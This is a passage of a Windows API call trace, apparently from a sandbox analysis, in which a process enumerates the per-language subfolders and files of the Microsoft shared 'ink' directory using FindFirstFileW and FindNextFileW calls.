ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0091.635] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0091.635] GetProcessHeap () returned 0xc00000 [0091.635] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.635] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.635] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.635] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.635] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.635] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0091.635] GetProcessHeap () returned 0xc00000 [0091.635] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.635] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0091.635] GetProcessHeap () returned 0xc00000 [0091.635] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.635] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.636] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.636] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.636] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.636] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0091.636] GetProcessHeap () returned 0xc00000 [0091.636] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.636] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0091.636] GetProcessHeap () returned 0xc00000 [0091.636] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.636] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.056] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.056] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0092.056] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0092.056] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.057] GetProcessHeap () returned 0xc00000 [0092.057] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0092.057] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0092.057] GetProcessHeap () returned 0xc00000 [0092.057] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0092.057] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.057] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.057] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0092.057] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0092.058] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.058] GetProcessHeap () returned 0xc00000 [0092.058] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0092.058] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0092.058] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x779da8e5, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x3e9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0092.058] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x5f780, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0092.058] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0092.058] GetProcessHeap () returned 0xc00000 [0092.058] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0092.058] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.059] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.059] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0092.059] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0092.059] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.059] GetProcessHeap () returned 0xc00000 [0092.059] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0092.059] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0092.059] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0092.060] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79680792, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x79680792, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x79680792, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x101200, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0092.060] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7965a52d, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7965a52d, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7965a52d, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x9e1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0092.060] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6ebfe576, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x17a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0092.061] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0092.061] GetProcessHeap () returned 0xc00000 [0092.061] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0092.061] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.061] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.061] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0092.062] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0092.062] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.062] GetProcessHeap () returned 0xc00000 [0092.062] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0092.062] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0092.062] GetProcessHeap () returned 0xc00000 [0092.062] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0092.062] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8b20 [0092.064] FindNextFileW (in: hFindFile=0x37e8b20, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.065] FindNextFileW (in: 